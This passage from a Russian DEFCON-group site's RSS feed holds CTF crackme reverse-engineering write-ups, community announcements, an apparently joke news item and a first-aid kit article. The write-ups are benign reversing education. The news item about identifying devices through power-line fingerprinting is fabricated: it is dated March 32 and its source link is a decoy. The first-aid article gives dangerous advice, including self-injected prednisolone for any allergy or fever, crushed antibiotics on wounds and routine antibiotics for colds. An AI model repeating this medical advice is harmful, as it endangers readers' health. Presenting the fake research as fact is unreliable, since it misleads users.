&lt;p&gt;Как обычно, начинаем с условия, когда флаг считается правильным. Переменная &lt;code class=&quot;highlighter-rouge&quot;&gt;DAT_0040a800&lt;/code&gt; должна, после всех вычислений, иметь значение равное 100. В самой функции не видно объявления этой переменной, только начальная инициализация. Скорее всего, эта переменная глобальная (в чём мы убедимся позже). Переименовываем и идём дальше.&lt;/p&gt;

&lt;p&gt;При дальнейшем изучении понимаем, что функция FUN_00403eb4 возвращает длину строки, а переменная &lt;code class=&quot;highlighter-rouge&quot;&gt;DAT_0040a798&lt;/code&gt; - это введенный нами влаг. На и тело условия, при помощи логики и фантазии, приводим примерно к такому виду:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/cc9ac0896c4441301db8cc5ed4586e9c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;На этом этапе, уже у многих будет общее понимание алгоритма проверки. А за деталями пойдём по очереди в &lt;code class=&quot;highlighter-rouge&quot;&gt;fInputCharLeft&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;fInputCharRight&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;fInputCharUp&lt;/code&gt; и &lt;code class=&quot;highlighter-rouge&quot;&gt;fInputCharDown&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/6be1046f98a498348b7c279a26643c4d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Все 4 функции выглядят примерно одинаково, они отличается битами, наличие которых проверяется в условии и значением, которое суммируется с нашим счетчиком.&lt;/p&gt;

&lt;p&gt;Непонятным остаётся только один момент: Что это за условие такое в функциях?! Какое отношение оно имеет к введенному нами флагу?! Ерунда какая-то, которая заставила меня изрядно поломать голову… И, самые внимательные, уже обратили внимание на какую-то странную &lt;code class=&quot;highlighter-rouge&quot;&gt;+ 3&lt;/code&gt;  в условии.&lt;/p&gt;

&lt;p&gt;Продолжаем смотреть другие функции, в надежде что придёт озарение и… Натыкаемся на это:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/7bf4eb0b97a25c0d3b7e65565b83b582.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Некая функция с инициализацией некоего массива и, при детальном рассмотрении, видим, что наш массив сидит по адресу &lt;code class=&quot;highlighter-rouge&quot;&gt;0x0040a79c&lt;/code&gt;, а указатель на введенную нами строку по адресу &lt;code class=&quot;highlighter-rouge&quot;&gt;0x0040a798&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/e91ec0ba35a1425985696c976b7edec7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Немного поразмыслив, понимаем, что конструкция вида:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;*(byte *)((int)&amp;amp;sInputFlag + iCheckingCounter + 3)
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;означает не обращение к нашей строке, а обращение к этому массиву, т.к. &lt;code class=&quot;highlighter-rouge&quot;&gt;iCheckCounter&lt;/code&gt; не должен быть меньше 1, а общая сумма  &lt;code class=&quot;highlighter-rouge&quot;&gt;(0x0040a798 + 1 + 3 == 0x0040a79c)&lt;/code&gt; равна адресу нашего массива. В общем… Декомпилятор немного неправильно распознал конструкцию, но оттого стало только интереснее)&lt;/p&gt;

&lt;p&gt;Что получаем в итоге? Алгоритм проверки флага:&lt;/p&gt;

&lt;p&gt;При запуске &lt;code class=&quot;highlighter-rouge&quot;&gt;iCheckCounter = 1&lt;/code&gt;;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Проверяем все входные условия, в виде фигурных скобок, длины и прочего;&lt;/li&gt;
  &lt;li&gt;Если символ из набора “направлений движения”, то проверяем содержимое элемента массива &lt;code class=&quot;highlighter-rouge&quot;&gt;someArray[iCheckCounter - 1]&lt;/code&gt; (т.к. у нас индексация начинается с 0) и если установлен бит, соответствующий направлению, идём дальше.&lt;/li&gt;
  &lt;li&gt;Так двигаемся до тех пор, пока &lt;code class=&quot;highlighter-rouge&quot;&gt;iCheckCounter&lt;/code&gt; не достигнет значения 100;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Алгоритм получили, давайте “накидаем” генератор флагов:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/431be9e7798182115ba8f99181f322b3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ограничение на длину флага установил в 20 символов, мне показалось, что этого будет достаточно. Запускаем, смотрим результат:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/0f544749c23a47654c1ae7fea1866c7d.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Выбираем самый короткий, проверяем в программе и на сайте - Correct!&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Файлы заданий&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://dc78422.ru/files/ctf-tasks/0/Deep.exe&quot;&gt;https://dc78422.ru/files/ctf-tasks/0/Deep.exe&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
        <pubDate>Mon, 24 Jul 2023 00:00:05 +0000</pubDate>
        <link>https://dc78422.ru/writeup/2023/07/24/ctf0-reverse-vol2.html</link>
        <guid isPermaLink="true">https://dc78422.ru/writeup/2023/07/24/ctf0-reverse-vol2.html</guid>
        
        
        <category>writeup</category>
        
      </item>
    
      <item>
        <title>Разбор заданий по реверсу с DC78422 CTF0 (часть 1)</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;Данное описание подготовлено и публикуется со слов участника CTF, занявшего &lt;a href=&quot;https://t.me/dc20e6/46726&quot;&gt;почетное второе место&lt;/a&gt; – Сементинова Сергея ( &lt;a href=&quot;https://t.me/cema_rus&quot;&gt;@cema_rus&lt;/a&gt; ).
Мы разбили прохождение реверста на несколько статей потому что они достаточно обширны и подробны, это первая, вот &lt;a href=&quot;https://dc78422.ru/writeup/2023/07/24/ctf0-reverse-vol2.html&quot;&gt;вторая часть c Deep.exe&lt;/a&gt; и &lt;a href=&quot;https://dc78422.ru/writeup/2023/07/24/ctf0-reverse-vol3.html&quot;&gt;третья c Final.exe&lt;/a&gt;.
Дальше текст передается as-is.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Первыми шагами в этом деле стало решение маленькой кучки задач с одного из сайтов crackme, на котором рядовые пользователи пишут свои версии подобных задач и выкладывают для решения в массы. Но интерес там ничем не поддерживался и он угас после решения 3-4 задач. Но полученный опыт остался, а значит задания в рамках CTF можно считать уже вторым шагом в этом направлении.&lt;/p&gt;

&lt;p&gt;Рассмотренные ниже задания были в разделе Реверс-Инжиниринг на прошедшем в июле 2023 года мероприятии CTF@dc78422.ru; Задача для каждого задания, как обычно, вычислить некую последовательность, которую программа приняла бы за “правильную”.&lt;/p&gt;

&lt;p&gt;Первые четыре задания довольно простые, поэтому по ним я пробегусь очень кратко.&lt;/p&gt;

&lt;h2 id=&quot;task1exe&quot;&gt;Task1.exe&lt;/h2&gt;

&lt;p&gt;Программа совершенно не хотела запускаться, постоянно ругалась на отсутствие тех или иных библиотек, поэтому было решено не париться, открыть его в Notepad++ и листать вниз, в надежде увидеть хоть что-то интересное. Каково же было моё удивление, когда примерно в середине файла нашлись строки в “чистом виде”:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/34da3a96fd7903c144ddcfb1e58c48b0.png&quot; alt=&quot;Task1.exe&quot; /&gt;&lt;/p&gt;

&lt;p&gt;К сожалению в программе проверить не получилось (она так и не запускалась), поэтому этот флаг сразу отправился в задание на сайте - Correct!&lt;/p&gt;

&lt;h2 id=&quot;task2exe&quot;&gt;Task2.exe&lt;/h2&gt;

&lt;p&gt;У этой программы с запуском проблем уже не было. На фоне предыдущего “успеха”, сразу открываем в Notepad++ и ищем какие-нибудь строки. И снова “удача”:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/0c6aefda39fe1e626bf597743cf7b68e.png&quot; alt=&quot;Task2.exe_1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Кто знает, что такое кодировка BASE64, тот в любом месте без особых проблем увидит закодированные данные и будет знать, что с ними делать. В нашем случае - один из плагинов Notepad++ декодирует эти данные, проверяем полученный флаг сначала в программе, потом на сайте - Correct!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/8814cb01ac2189b25724b9f8d7ecdd34.png&quot; alt=&quot;Task2.exe_2&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;task3exe&quot;&gt;Task3.exe&lt;/h2&gt;

&lt;p&gt;Тут уже пришлось поломать немного голову. Простое открытие файла и попытка что-то там найти, как в предыдущих двух заданиях, не дало результата. Попытка открыть файл в IDA - ошибки в процессе анализа. Пробуем открыть в Ghidra - тоже ничего хорошего. После некоторых блужданий и поиска информации, появляется мысль: посмотреть информацию о приложении. Собственно, с этого и надо было начинать любое задание - времени занимает не много, а результат может дать хороший. Смотрим:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/6deb601e04e89cf63ce144c18457e1c5.png&quot; alt=&quot;Task3.exe_1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;И сразу всё становится ясно, что и где пошло не так) Теперь, главное - как его распаковать для дальнейшего изучения. Второй ссылкой поиска по запросу “upx windows” нашлись готовые релизы упаковщика. Качаем, распаковываем, смотрим справку и выполняем команду:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/5ab3705f86a17de3a517740f72139456.png&quot; alt=&quot;Task3.exe_2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ну и, по традиции, смотрим его в блокноте. Результат проверяем в программе, потом на сайте - Correct!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/3a2eda37df46161356cdd60888a58f57.png&quot; alt=&quot;Task3.exe_3&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;tasksyzranexe&quot;&gt;taskSyzran.exe&lt;/h2&gt;

&lt;p&gt;Ученые предыдущим опытом, сразу смотрим информацию о файле taskSyzran.exe и видим, что компилятор Embarcadero Delphi(XE7), а значит в помощь себе можно использовать программу Interactive Delphi Reconstructor (https://github.com/crypto2011/IDR). Что, куда и как - расскажу в последнем задании. Сейчас же просто скажу, что в результате получаем более читаемую декомпиляцию и начинаем ее изучать:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/8021fc0600221819173d19474bd0552f.png&quot; alt=&quot;taskSyzran.exe_1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Даже не “причесывая” код, видно, что флаг будет считаться правильным, если результат выполнения sub_41A424(dword_423EBC) будет отличен от нуля. Идем смотреть и разбирать функцию. Я покажу уже разобранный вариант:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/d1d968085ee1a537a9d2a12832649d47.png&quot; alt=&quot;taskSyzran.exe_2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;В 40й строке операция отрицания (~) эквивалентна операции XOR 0xFF, а значит наш флаг посимвольно XORится и сравнивается с неким массивом. Другими словами, если этот массив посимвольно заXORить с 0xFF, то мы получим наш флаг. Достаем массив:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/dc296ec293f9e453b9d47acad7d9bb60.png&quot; alt=&quot;taskSyzran.exe_3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;И XORим его. Я использовал сервис XOR Calculator (https://xor.pw/):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/876d25025a66dd7eb181f1ee246887f9.png&quot; alt=&quot;taskSyzran.exe_3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Результат проверяем в программе, потом на сайте - Correct!&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Файлы заданий&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://dc78422.ru/files/ctf-tasks/0/Task1.exe&quot;&gt;https://dc78422.ru/files/ctf-tasks/0/Task1.exe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dc78422.ru/files/ctf-tasks/0/Task2.exe&quot;&gt;https://dc78422.ru/files/ctf-tasks/0/Task2.exe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dc78422.ru/files/ctf-tasks/0/Task3.exe&quot;&gt;https://dc78422.ru/files/ctf-tasks/0/Task3.exe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dc78422.ru/files/ctf-tasks/0/taskSyzran.exe&quot;&gt;https://dc78422.ru/files/ctf-tasks/0/taskSyzran.exe&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
        <pubDate>Mon, 24 Jul 2023 00:00:01 +0000</pubDate>
        <link>https://dc78422.ru/writeup/2023/07/24/ctf0-reverse.html</link>
        <guid isPermaLink="true">https://dc78422.ru/writeup/2023/07/24/ctf0-reverse.html</guid>
        
        
        <category>writeup</category>
        
      </item>
    
      <item>
        <title>Деанон через бытовые сети электропитания</title>
        <description>&lt;p&gt;Исследовательская группа кафедры электротехники и компьютерных наук массачусетского технологического университета опубликовали исследование, посвященное фингерпринтингу электронных приборов, бытовых сетей электропитания. В нем описано, как определить нахождение любого устройства в сегменте сети, начиная от трансформаторной подстанции. А также определить фазу, к которой устройство подключено, что улучшает локализацию искомого устройства.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/8c49c65edec2088d781999ca7f4c49b0.png&quot; alt=&quot;1pic&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Метод основан на том, что блок питания типа flyback, которые установлены в 95% устройств, несмотря на идентичную топологию имеет многие индивидуальные параметры (такие как намотка импульсного трансформатора, ширина потенциального барьера в элементах обратной связи и прочие параметры), что дает строго индивидуальный частотный спектр устройства.&lt;/p&gt;

&lt;p&gt;Проведя преобразование Фурье над функцией потребления тока фазой подстанции можно выделить картину спектра работающих на ней устройств и выделить из него искомый отпечаток спектра устройства. Так же, если использовать свёрточную нейросеть, можно выделить и подключенное к блоку питания устройство (например телефон, в случае если он стоит на зарядке), так как потребление устройства накладывает свой отпечаток поверх спектра блока питания.&lt;/p&gt;

&lt;p&gt;Впрочем, в статье также отмечено, что старые устройства не поддаются подобному фингерпринтингу, поскольку в их цепях используются сетевые трансформаторы, которые эффективно фильтруют высокочастотные составляющие спектра устройств, запитанных от его вторичных обмоток.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/7cd4262afaef736d54c593d0c61a6852.png&quot; alt=&quot;2pic&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Ссылка на оригинал исследования &lt;a href=&quot;https://www.youtube.com/watch?v=dQw4w9WgXcQ&quot;&gt;https://www.technologyreview.com/2022/03/32/1047819/flyback-fingerprint/&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Fri, 01 Apr 2022 00:00:00 +0000</pubDate>
        <link>https://dc78422.ru/news/2022/04/01/flyback-fingerprint.html</link>
        <guid isPermaLink="true">https://dc78422.ru/news/2022/04/01/flyback-fingerprint.html</guid>
        
        
        <category>news</category>
        
      </item>
    
      <item>
        <title>Новое сообщество DC в Ростове-на-Дону DC7863</title>
        <description>&lt;p&gt;Привет,&lt;/p&gt;

&lt;p&gt;У в Ростове-на-Дону образовалось новое сообщество DС, а точнее &lt;em&gt;DC7863&lt;/em&gt;. Ура!&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;__cha1ned, [Sep 10, 2020 at 7:05:31 PM]:
Ну
я запулил обращение
во всех чатах ростова
по поводу создания DC-шки&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Если у вас есть знакомые из Ростова, поделитесь этой благой вестью, а подробности можно узнать у &lt;a href=&quot;https://t.me/cha1ned_l1fe&quot;&gt;@__cha1ned&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;P.S. Мы вроде собрали всех сообщества и никого не забыли на странице &lt;a href=&quot;https://dc20e6.ru/friends-and-communities/&quot;&gt;https://dc20e6.ru/friends-and-communities/&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Sat, 19 Sep 2020 00:00:00 +0000</pubDate>
        <link>https://dc78422.ru/news/2020/09/19/new-rostov-na-donu-dc7863.html</link>
        <guid isPermaLink="true">https://dc78422.ru/news/2020/09/19/new-rostov-na-donu-dc7863.html</guid>
        
        
        <category>news</category>
        
      </item>
    
      <item>
        <title>Cообщества DC в Архангельске dc78182 и Владивостоке dc7423</title>
        <description>&lt;p&gt;И снова йоу,&lt;/p&gt;

&lt;p&gt;День полон хороших новостей :) В Архангельске и Владивостоке образовались сообщества DС, а точнее &lt;a href=&quot;https://t.me/dc78182&quot;&gt;DC78182 - Архангельск&lt;/a&gt; и &lt;a href=&quot;https://t.me/dc7423&quot;&gt;DC7423 - Владивосток&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Если у вас есть знакомые из этих городов, то поделитесь с ними этой благой вестью – пусть тоже познают аспекты информационной безопасности у себя в городе.&lt;/p&gt;

&lt;p&gt;–&lt;/p&gt;

&lt;p&gt;P.S. Мы вроде собрали все сообщества на странице &lt;a href=&quot;https://dc20e6.ru/friends-and-communities/&quot;&gt;https://dc20e6.ru/friends-and-communities/&lt;/a&gt;. Если кого-то пропустили – сделайте Pull Request &lt;a href=&quot;https://gitlab.com/dc20e6/site&quot;&gt;на сайт&lt;/a&gt;.&lt;/p&gt;
</description>
        <pubDate>Sat, 19 Sep 2020 00:00:00 +0000</pubDate>
        <link>https://dc78422.ru/news/2020/09/19/new-dc78182-and-7423.html</link>
        <guid isPermaLink="true">https://dc78422.ru/news/2020/09/19/new-dc78182-and-7423.html</guid>
        
        
        <category>news</category>
        
      </item>
    
      <item>
        <title>Аптечка или что поможет вам на природе/дома/в поездках</title>
        <description>&lt;p&gt;Во время наших встреч на природе или, просто поездок на конференции или в гости нужно быть готовым не только к опасносям в информационной срезе, но и в реальной жизни, так как черт его знает что может произойти. Чтобы собрать такую аптечку, мы обратились к врачу, который знает как лечить и что делать если что-то идет совсем не так.&lt;/p&gt;

&lt;h2 id=&quot;section&quot;&gt;Аптечка&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Бинт стерильный&lt;/li&gt;
  &lt;li&gt;Салфетки стерильные&lt;/li&gt;
  &lt;li&gt;Перекись водорода или Хлоргексидин&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Пантенол&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Нурофен&lt;/code&gt; (лучше &lt;code class=&quot;highlighter-rouge&quot;&gt;Нурофен Экспресс Форте&lt;/code&gt; 400мг)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Парацетомол&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Амоксиклав&lt;/code&gt; 1000мг&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Но-шпа&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Омез&lt;/code&gt; (&lt;code class=&quot;highlighter-rouge&quot;&gt;Омепразол&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Мезим&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Диазолин&lt;/code&gt; или &lt;code class=&quot;highlighter-rouge&quot;&gt;Блогир-3&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Преднизолон&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Три шприца&lt;/li&gt;
  &lt;li&gt;Пластырь&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Энтерофурил&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Лактофильтрум&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Имодиум&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Если эти лекарства вынуть из коробок и взять (кроме амоксклава и нурофена) по одной пластинке, то места занимают очень мало. Основное место занимает флакон пантенола, хлоргесидина 😁&lt;/p&gt;

&lt;h2 id=&quot;section-1&quot;&gt;От чего и что&lt;/h2&gt;

&lt;h3 id=&quot;section-2&quot;&gt;Травмы&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Перекись или Хлоргексидин 1флакон&lt;/li&gt;
  &lt;li&gt;Упаковка стерильных марлевых салфеток 1штука, стерильный бинт 5см шириной 1шт, лейкопластырь рулонный, лекопластырь бактерицидный&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;section-3&quot;&gt;Ожоги&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Cпрей &lt;code class=&quot;highlighter-rouge&quot;&gt;Пантенол&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Cтерильные салфетки и бинт стерильный&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;section-4&quot;&gt;Анальгетики (они же снижают температуру)&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Парацетамол&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Нурофен&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;section-5&quot;&gt;От отравления&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Лактофльтрум&lt;/code&gt; (сорбент) по 2таб 3-4 раза в день&lt;/li&gt;
  &lt;li&gt;Если за границу ехать то капсулы &lt;code class=&quot;highlighter-rouge&quot;&gt;Энтерофурила&lt;/code&gt; 200мг 4 раза в день (помогают за пару дней полностью)
    &lt;ul&gt;
      &lt;li&gt;Можно &lt;code class=&quot;highlighter-rouge&quot;&gt;Имодиум&lt;/code&gt; или &lt;code class=&quot;highlighter-rouge&quot;&gt;Лоперамид&lt;/code&gt; (он пьется сначала две таблетки сразу, затем по 1таб после каждой дефекации)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;section-6&quot;&gt;От “желудка”&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Омез&lt;/code&gt; (&lt;code class=&quot;highlighter-rouge&quot;&gt;Омепразол&lt;/code&gt;) 1капс 2раза в день&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Но-шпу&lt;/code&gt; 2таб 2раза в день&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Мезим&lt;/code&gt; заедают прием пищи&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Их всегда пьют если отравление в комплексе.&lt;/p&gt;

&lt;h3 id=&quot;section-7&quot;&gt;Воспаление&lt;/h3&gt;

&lt;p&gt;Антибиотики начиная от сильной зубной боли заканчивая, ангиной и кашлем&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Начинаем с &lt;code class=&quot;highlighter-rouge&quot;&gt;Амоксиклав&lt;/code&gt; 1000 мг (875+125мг) 2 раза в день.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
  &lt;p&gt;Если поранил ногу, загноился  ноготь, чирий-фурункул. Раздавливаешь таблетку амоксиклава, посыпаешь рану, капаешь каплю воды и бинтуешь. 2-3 часа и гнойное воспаление сошло на нет.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;section-8&quot;&gt;Аллергия&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Любые таблетки от аллергии (могу порекомендовать &lt;code class=&quot;highlighter-rouge&quot;&gt;Диазолин&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;Блогир-3&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;3 ампулы преднизолона и шприц на 2 кубика (лучше 3 шт)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Если аллергия пищевая обязательно принять сорбенты (лактофильтрум например)&lt;/p&gt;

&lt;blockquote&gt;
  &lt;ul&gt;
    &lt;li&gt;Укол преднизолона самый безопасный укол в мире. С ним не ошибешься - любую аллергию снимет на раз.
      &lt;ul&gt;
        &lt;li&gt;Не знаешь что делать - коли преднизолон 😂&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/li&gt;
    &lt;li&gt;Укол преднизолона снимает за 5 минут температуру 40 градусов. Выховет лихорадку и может судорогу, но зато снимаеn высокую температуру быстро.&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;P.S. Кстати в всяких спреях для горла, таблеток от кашля, насморка толку вообще нет и брать их не надо, если в поездке что то простудное появляется - сразу &lt;code class=&quot;highlighter-rouge&quot;&gt;Амоксиклав&lt;/code&gt;.&lt;/p&gt;
</description>
        <pubDate>Mon, 20 Jul 2020 00:00:00 +0000</pubDate>
        <link>https://dc78422.ru/announcement/2020/07/20/health-security.html</link>
        <guid isPermaLink="true">https://dc78422.ru/announcement/2020/07/20/health-security.html</guid>
        
        
        <category>announcement</category>
        
      </item>
    
  </channel>
</rss>
